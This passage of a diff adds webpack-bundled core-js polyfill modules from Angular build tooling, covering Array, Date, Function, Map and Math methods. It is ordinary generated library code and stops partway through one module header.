+__webpack_require__(/*! ../internals/add-to-unscopables */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/add-to-unscopables.js")(FIND_INDEX); + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.array.find.js": +/*!**************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.array.find.js ***! + \**************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + +var internalFind = __webpack_require__(/*! ../internals/array-methods */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/array-methods.js")(5); +var FIND = 'find'; +var SKIPS_HOLES = true; + +// Shouldn't skip holes +if (FIND in []) Array(1)[FIND](function () { SKIPS_HOLES = false; }); + +// `Array.prototype.find` method +// https://tc39.github.io/ecma262/#sec-array.prototype.find +__webpack_require__(/*! ../internals/export */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/export.js")({ target: 'Array', proto: true, forced: SKIPS_HOLES }, { + find: function find(callbackfn /* , that = undefined */) { + return internalFind(this, callbackfn, arguments.length > 1 ? arguments[1] : undefined); + } +}); + +// https://tc39.github.io/ecma262/#sec-array.prototype-@@unscopables +__webpack_require__(/*! ../internals/add-to-unscopables */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/add-to-unscopables.js")(FIND); + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.array.for-each.js": +/*!******************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.array.for-each.js ***! + \******************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + +var forEach = __webpack_require__(/*! ../internals/array-for-each */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/array-for-each.js"); + +// `Array.prototype.forEach` method +// https://tc39.github.io/ecma262/#sec-array.prototype.foreach +__webpack_require__(/*! ../internals/export */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/export.js")({ target: 'Array', proto: true, forced: [].forEach != forEach }, { forEach: forEach }); + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.array.from.js": +/*!**************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.array.from.js ***! + \**************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +var INCORRECT_ITERATION = !__webpack_require__(/*! ../internals/check-correctness-of-iteration */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/check-correctness-of-iteration.js")(function (iterable) { + Array.from(iterable); +}); + +// `Array.from` method +// https://tc39.github.io/ecma262/#sec-array.from +__webpack_require__(/*! ../internals/export */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/export.js")({ target: 'Array', stat: true, forced: INCORRECT_ITERATION }, { + from: __webpack_require__(/*! ../internals/array-from */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/array-from.js") +}); + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.array.index-of.js": +/*!******************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.array.index-of.js ***! + \******************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + +var internalIndexOf = __webpack_require__(/*! ../internals/array-includes */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/array-includes.js")(false); +var nativeIndexOf = [].indexOf; + +var NEGATIVE_ZERO = !!nativeIndexOf && 1 / [1].indexOf(1, -0) < 0; +var SLOPPY_METHOD = __webpack_require__(/*! ../internals/sloppy-array-method */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/sloppy-array-method.js")('indexOf'); + +// `Array.prototype.indexOf` method +// https://tc39.github.io/ecma262/#sec-array.prototype.indexof +__webpack_require__(/*! ../internals/export */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/export.js")({ target: 'Array', proto: true, forced: NEGATIVE_ZERO || SLOPPY_METHOD }, { + indexOf: function indexOf(searchElement /* , fromIndex = 0 */) { + return NEGATIVE_ZERO + // convert -0 to +0 + ? nativeIndexOf.apply(this, arguments) || 0 + : internalIndexOf(this, searchElement, arguments[1]); + } +}); + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.array.is-array.js": +/*!******************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.array.is-array.js ***! + \******************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +// `Array.isArray` method +// https://tc39.github.io/ecma262/#sec-array.isarray +__webpack_require__(/*! ../internals/export */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/export.js")({ target: 'Array', stat: true }, { isArray: __webpack_require__(/*! ../internals/is-array */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/is-array.js") }); + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.array.iterator.js": +/*!******************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.array.iterator.js ***! + \******************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + +var toIndexedObject = __webpack_require__(/*! ../internals/to-indexed-object */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/to-indexed-object.js"); +var addToUnscopables = __webpack_require__(/*! ../internals/add-to-unscopables */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/add-to-unscopables.js"); +var Iterators = __webpack_require__(/*! ../internals/iterators */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/iterators.js"); +var InternalStateModule = __webpack_require__(/*! ../internals/internal-state */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/internal-state.js"); +var defineIterator = __webpack_require__(/*! ../internals/define-iterator */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/define-iterator.js"); +var ARRAY_ITERATOR = 'Array Iterator'; +var setInternalState = InternalStateModule.set; +var getInternalState = InternalStateModule.getterFor(ARRAY_ITERATOR); + +// `Array.prototype.entries` method +// https://tc39.github.io/ecma262/#sec-array.prototype.entries +// `Array.prototype.keys` method +// https://tc39.github.io/ecma262/#sec-array.prototype.keys +// `Array.prototype.values` method +// https://tc39.github.io/ecma262/#sec-array.prototype.values +// `Array.prototype[@@iterator]` method +// https://tc39.github.io/ecma262/#sec-array.prototype-@@iterator +// `CreateArrayIterator` internal method +// https://tc39.github.io/ecma262/#sec-createarrayiterator +module.exports = defineIterator(Array, 'Array', function (iterated, kind) { + setInternalState(this, { + type: ARRAY_ITERATOR, + target: toIndexedObject(iterated), // target + index: 0, // next index + kind: kind // kind + }); +// `%ArrayIteratorPrototype%.next` method +// https://tc39.github.io/ecma262/#sec-%arrayiteratorprototype%.next +}, function () { + var state = getInternalState(this); + var target = state.target; + var kind = state.kind; + var index = state.index++; + if (!target || index >= target.length) { + state.target = undefined; + return { value: undefined, done: true }; + } + if (kind == 'keys') return { value: index, done: false }; + if (kind == 'values') return { value: target[index], done: false }; + return { value: [index, target[index]], done: false }; +}, 'values'); + +// argumentsList[@@iterator] is %ArrayProto_values% +// https://tc39.github.io/ecma262/#sec-createunmappedargumentsobject +// https://tc39.github.io/ecma262/#sec-createmappedargumentsobject +Iterators.Arguments = Iterators.Array; + +// https://tc39.github.io/ecma262/#sec-array.prototype-@@unscopables +addToUnscopables('keys'); +addToUnscopables('values'); +addToUnscopables('entries'); + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.array.join.js": +/*!**************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.array.join.js ***! + \**************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + +var toIndexedObject = __webpack_require__(/*! ../internals/to-indexed-object */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/to-indexed-object.js"); +var nativeJoin = [].join; + +var ES3_STRINGS = __webpack_require__(/*! ../internals/indexed-object */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/indexed-object.js") != Object; +var SLOPPY_METHOD = __webpack_require__(/*! ../internals/sloppy-array-method */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/sloppy-array-method.js")('join', ','); + +// `Array.prototype.join` method +// https://tc39.github.io/ecma262/#sec-array.prototype.join +__webpack_require__(/*! ../internals/export */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/export.js")({ target: 'Array', proto: true, forced: ES3_STRINGS || SLOPPY_METHOD }, { + join: function join(separator) { + return nativeJoin.call(toIndexedObject(this), separator === undefined ? ',' : separator); + } +}); + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.array.last-index-of.js": +/*!***********************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.array.last-index-of.js ***! + \***********************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +var arrayLastIndexOf = __webpack_require__(/*! ../internals/array-last-index-of */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/array-last-index-of.js"); + +// `Array.prototype.lastIndexOf` method +// https://tc39.github.io/ecma262/#sec-array.prototype.lastindexof +__webpack_require__(/*! ../internals/export */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/export.js")({ target: 'Array', proto: true, forced: arrayLastIndexOf !== [].lastIndexOf }, { + lastIndexOf: arrayLastIndexOf +}); + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.array.map.js": +/*!*************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.array.map.js ***! + \*************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + +var internalMap = __webpack_require__(/*! ../internals/array-methods */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/array-methods.js")(1); + +var SPECIES_SUPPORT = __webpack_require__(/*! ../internals/array-method-has-species-support */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/array-method-has-species-support.js")('map'); + +// `Array.prototype.map` method +// https://tc39.github.io/ecma262/#sec-array.prototype.map +// with adding support of @@species +__webpack_require__(/*! ../internals/export */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/export.js")({ target: 'Array', proto: true, forced: !SPECIES_SUPPORT }, { + map: function map(callbackfn /* , thisArg */) { + return internalMap(this, callbackfn, arguments[1]); + } +}); + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.array.of.js": +/*!************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.array.of.js ***! + \************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + +var createProperty = __webpack_require__(/*! ../internals/create-property */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/create-property.js"); + +var ISNT_GENERIC = __webpack_require__(/*! ../internals/fails */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/fails.js")(function () { + function F() { /* empty */ } + return !(Array.of.call(F) instanceof F); +}); + +// `Array.of` method +// https://tc39.github.io/ecma262/#sec-array.of +// WebKit Array.of isn't generic +__webpack_require__(/*! ../internals/export */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/export.js")({ target: 'Array', stat: true, forced: ISNT_GENERIC }, { + of: function of(/* ...args */) { + var index = 0; + var argumentsLength = arguments.length; + var result = new (typeof this == 'function' ? this : Array)(argumentsLength); + while (argumentsLength > index) createProperty(result, index, arguments[index++]); + result.length = argumentsLength; + return result; + } +}); + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.array.reduce-right.js": +/*!**********************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.array.reduce-right.js ***! + \**********************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + +var internalReduceRight = __webpack_require__(/*! ../internals/array-reduce */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/array-reduce.js"); + +var SLOPPY_METHOD = __webpack_require__(/*! ../internals/sloppy-array-method */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/sloppy-array-method.js")('reduceRight'); + +// `Array.prototype.reduceRight` method +// https://tc39.github.io/ecma262/#sec-array.prototype.reduceright +__webpack_require__(/*! ../internals/export */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/export.js")({ target: 'Array', proto: true, forced: SLOPPY_METHOD }, { + reduceRight: function reduceRight(callbackfn /* , initialValue */) { + return internalReduceRight(this, callbackfn, arguments.length, arguments[1], true); + } +}); + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.array.reduce.js": +/*!****************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.array.reduce.js ***! + \****************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + +var internalReduce = __webpack_require__(/*! ../internals/array-reduce */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/array-reduce.js"); + +var SLOPPY_METHOD = __webpack_require__(/*! ../internals/sloppy-array-method */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/sloppy-array-method.js")('reduce'); + +// `Array.prototype.reduce` method +// https://tc39.github.io/ecma262/#sec-array.prototype.reduce +__webpack_require__(/*! ../internals/export */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/export.js")({ target: 'Array', proto: true, forced: SLOPPY_METHOD }, { + reduce: function reduce(callbackfn /* , initialValue */) { + return internalReduce(this, callbackfn, arguments.length, arguments[1], false); + } +}); + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.array.slice.js": +/*!***************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.array.slice.js ***! + \***************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + +var isObject = __webpack_require__(/*! ../internals/is-object */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/is-object.js"); +var isArray = __webpack_require__(/*! ../internals/is-array */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/is-array.js"); +var toAbsoluteIndex = __webpack_require__(/*! ../internals/to-absolute-index */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/to-absolute-index.js"); +var toLength = __webpack_require__(/*! ../internals/to-length */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/to-length.js"); +var toIndexedObject = __webpack_require__(/*! ../internals/to-indexed-object */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/to-indexed-object.js"); +var createProperty = __webpack_require__(/*! ../internals/create-property */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/create-property.js"); +var SPECIES = __webpack_require__(/*! ../internals/well-known-symbol */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/well-known-symbol.js")('species'); +var nativeSlice = [].slice; +var max = Math.max; + +var SPECIES_SUPPORT = __webpack_require__(/*! ../internals/array-method-has-species-support */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/array-method-has-species-support.js")('slice'); + +// `Array.prototype.slice` method +// https://tc39.github.io/ecma262/#sec-array.prototype.slice +// fallback for not array-like ES3 strings and DOM objects +__webpack_require__(/*! ../internals/export */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/export.js")({ target: 'Array', proto: true, forced: !SPECIES_SUPPORT }, { + slice: function slice(start, end) { + var O = toIndexedObject(this); + var length = toLength(O.length); + var k = toAbsoluteIndex(start, length); + var fin = toAbsoluteIndex(end === undefined ? length : end, length); + // inline `ArraySpeciesCreate` for usage native `Array#slice` where it's possible + var Constructor, result, n; + if (isArray(O)) { + Constructor = O.constructor; + // cross-realm fallback + if (typeof Constructor == 'function' && (Constructor === Array || isArray(Constructor.prototype))) { + Constructor = undefined; + } else if (isObject(Constructor)) { + Constructor = Constructor[SPECIES]; + if (Constructor === null) Constructor = undefined; + } + if (Constructor === Array || Constructor === undefined) { + return nativeSlice.call(O, k, fin); + } + } + result = new (Constructor === undefined ? Array : Constructor)(max(fin - k, 0)); + for (n = 0; k < fin; k++, n++) if (k in O) createProperty(result, n, O[k]); + result.length = n; + return result; + } +}); + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.array.some.js": +/*!**************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.array.some.js ***! + \**************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + +var internalSome = __webpack_require__(/*! ../internals/array-methods */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/array-methods.js")(3); + +var SLOPPY_METHOD = __webpack_require__(/*! ../internals/sloppy-array-method */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/sloppy-array-method.js")('some'); + +// `Array.prototype.some` method +// https://tc39.github.io/ecma262/#sec-array.prototype.some +__webpack_require__(/*! ../internals/export */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/export.js")({ target: 'Array', proto: true, forced: SLOPPY_METHOD }, { + some: function some(callbackfn /* , thisArg */) { + return internalSome(this, callbackfn, arguments[1]); + } +}); + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.array.sort.js": +/*!**************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.array.sort.js ***! + \**************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + +var aFunction = __webpack_require__(/*! ../internals/a-function */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/a-function.js"); +var toObject = __webpack_require__(/*! ../internals/to-object */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/to-object.js"); +var fails = __webpack_require__(/*! ../internals/fails */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/fails.js"); +var nativeSort = [].sort; +var test = [1, 2, 3]; + +// IE8- +var FAILS_ON_UNDEFINED = fails(function () { + test.sort(undefined); +}); +// V8 bug +var FAILS_ON_NULL = fails(function () { + test.sort(null); +}); +// Old WebKit +var SLOPPY_METHOD = __webpack_require__(/*! ../internals/sloppy-array-method */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/sloppy-array-method.js")('sort'); + +var FORCED = FAILS_ON_UNDEFINED || !FAILS_ON_NULL || SLOPPY_METHOD; + +// `Array.prototype.sort` method +// https://tc39.github.io/ecma262/#sec-array.prototype.sort +__webpack_require__(/*! ../internals/export */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/export.js")({ target: 'Array', proto: true, forced: FORCED }, { + sort: function sort(comparefn) { + return comparefn === undefined + ? nativeSort.call(toObject(this)) + : nativeSort.call(toObject(this), aFunction(comparefn)); + } +}); + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.date.now.js": +/*!************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.date.now.js ***! + \************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +// `Date.now` method +// https://tc39.github.io/ecma262/#sec-date.now +__webpack_require__(/*! ../internals/export */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/export.js")({ target: 'Date', stat: true }, { + now: function now() { + return new Date().getTime(); + } +}); + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.date.to-iso-string.js": +/*!**********************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.date.to-iso-string.js ***! + \**********************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +var toISOString = __webpack_require__(/*! ../internals/date-to-iso-string */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/date-to-iso-string.js"); + +// `Date.prototype.toISOString` method +// https://tc39.github.io/ecma262/#sec-date.prototype.toisostring +// PhantomJS / old WebKit has a broken implementations +__webpack_require__(/*! ../internals/export */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/export.js")({ target: 'Date', proto: true, forced: Date.prototype.toISOString !== toISOString }, { + toISOString: toISOString +}); + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.date.to-json.js": +/*!****************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.date.to-json.js ***! + \****************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + +var toObject = __webpack_require__(/*! ../internals/to-object */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/to-object.js"); +var toPrimitive = __webpack_require__(/*! ../internals/to-primitive */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/to-primitive.js"); + +var FORCED = __webpack_require__(/*! ../internals/fails */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/fails.js")(function () { + return new Date(NaN).toJSON() !== null + || Date.prototype.toJSON.call({ toISOString: function () { return 1; } }) !== 1; +}); + +// `Date.prototype.toJSON` method +// https://tc39.github.io/ecma262/#sec-date.prototype.tojson +__webpack_require__(/*! ../internals/export */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/export.js")({ target: 'Date', proto: true, forced: FORCED }, { + // eslint-disable-next-line no-unused-vars + toJSON: function toJSON(key) { + var O = toObject(this); + var pv = toPrimitive(O); + return typeof pv == 'number' && !isFinite(pv) ? null : O.toISOString(); + } +}); + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.date.to-primitive.js": +/*!*********************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.date.to-primitive.js ***! + \*********************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +var hide = __webpack_require__(/*! ../internals/hide */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/hide.js"); +var TO_PRIMITIVE = __webpack_require__(/*! ../internals/well-known-symbol */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/well-known-symbol.js")('toPrimitive'); +var dateToPrimitive = __webpack_require__(/*! ../internals/date-to-primitive */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/date-to-primitive.js"); +var DatePrototype = Date.prototype; + +// `Date.prototype[@@toPrimitive]` method +// https://tc39.github.io/ecma262/#sec-date.prototype-@@toprimitive +if (!(TO_PRIMITIVE in DatePrototype)) hide(DatePrototype, TO_PRIMITIVE, dateToPrimitive); + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.date.to-string.js": +/*!******************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.date.to-string.js ***! + \******************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +var DatePrototype = Date.prototype; +var INVALID_DATE = 'Invalid Date'; +var TO_STRING = 'toString'; +var nativeDateToString = DatePrototype[TO_STRING]; +var getTime = DatePrototype.getTime; + +// `Date.prototype.toString` method +// https://tc39.github.io/ecma262/#sec-date.prototype.tostring +if (new Date(NaN) + '' != INVALID_DATE) { + __webpack_require__(/*! ../internals/redefine */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/redefine.js")(DatePrototype, TO_STRING, function toString() { + var value = getTime.call(this); + // eslint-disable-next-line no-self-compare + return value === value ? nativeDateToString.call(this) : INVALID_DATE; + }); +} + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.function.bind.js": +/*!*****************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.function.bind.js ***! + \*****************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +// `Function.prototype.bind` method +// https://tc39.github.io/ecma262/#sec-function.prototype.bind +__webpack_require__(/*! ../internals/export */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/export.js")({ target: 'Function', proto: true }, { + bind: __webpack_require__(/*! ../internals/function-bind */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/function-bind.js") +}); + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.function.has-instance.js": +/*!*************************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.function.has-instance.js ***! + \*************************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + +var isObject = __webpack_require__(/*! ../internals/is-object */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/is-object.js"); +var definePropertyModule = __webpack_require__(/*! ../internals/object-define-property */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/object-define-property.js"); +var getPrototypeOf = __webpack_require__(/*! ../internals/object-get-prototype-of */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/object-get-prototype-of.js"); +var HAS_INSTANCE = __webpack_require__(/*! ../internals/well-known-symbol */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/well-known-symbol.js")('hasInstance'); +var FunctionPrototype = Function.prototype; + +// `Function.prototype[@@hasInstance]` method +// https://tc39.github.io/ecma262/#sec-function.prototype-@@hasinstance +if (!(HAS_INSTANCE in FunctionPrototype)) { + definePropertyModule.f(FunctionPrototype, HAS_INSTANCE, { value: function (O) { + if (typeof this != 'function' || !isObject(O)) return false; + if (!isObject(this.prototype)) return O instanceof this; + // for environment w/o native `@@hasInstance` logic enough `instanceof`, but add this: + while (O = getPrototypeOf(O)) if (this.prototype === O) return true; + return false; + } }); +} + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.function.name.js": +/*!*****************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.function.name.js ***! + \*****************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +var DESCRIPTORS = __webpack_require__(/*! ../internals/descriptors */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/descriptors.js"); +var defineProperty = __webpack_require__(/*! ../internals/object-define-property */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/object-define-property.js").f; +var FunctionPrototype = Function.prototype; +var FunctionPrototypeToString = FunctionPrototype.toString; +var nameRE = /^\s*function ([^ (]*)/; +var NAME = 'name'; + +// Function instances `.name` property +// https://tc39.github.io/ecma262/#sec-function-instances-name +if (DESCRIPTORS && !(NAME in FunctionPrototype)) { + defineProperty(FunctionPrototype, NAME, { + configurable: true, + get: function () { + try { + return FunctionPrototypeToString.call(this).match(nameRE)[1]; + } catch (error) { + return ''; + } + } + }); +} + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.map.js": +/*!*******************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.map.js ***! + \*******************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + +// `Map` constructor +// https://tc39.github.io/ecma262/#sec-map-objects +module.exports = __webpack_require__(/*! ../internals/collection */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/collection.js")('Map', function (get) { + return function Map() { return get(this, arguments.length > 0 ? arguments[0] : undefined); }; +}, __webpack_require__(/*! ../internals/collection-strong */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/collection-strong.js"), true); + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.math.acosh.js": +/*!**************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.math.acosh.js ***! + \**************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +var log1p = __webpack_require__(/*! ../internals/math-log1p */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/math-log1p.js"); +var nativeAcosh = Math.acosh; +var log = Math.log; +var sqrt = Math.sqrt; +var LN2 = Math.LN2; + +var FORCED = !nativeAcosh + // V8 bug: https://code.google.com/p/v8/issues/detail?id=3509 + || Math.floor(nativeAcosh(Number.MAX_VALUE)) != 710 + // Tor Browser bug: Math.acosh(Infinity) -> NaN + || nativeAcosh(Infinity) != Infinity; + +// `Math.acosh` method +// https://tc39.github.io/ecma262/#sec-math.acosh +__webpack_require__(/*! ../internals/export */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/export.js")({ target: 'Math', stat: true, forced: FORCED }, { + acosh: function acosh(x) { + return (x = +x) < 1 ? NaN : x > 94906265.62425156 + ? log(x) + LN2 + : log1p(x - 1 + sqrt(x - 1) * sqrt(x + 1)); + } +}); + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.math.asinh.js": +/*!**************************************************************************************************!*\ + !*** 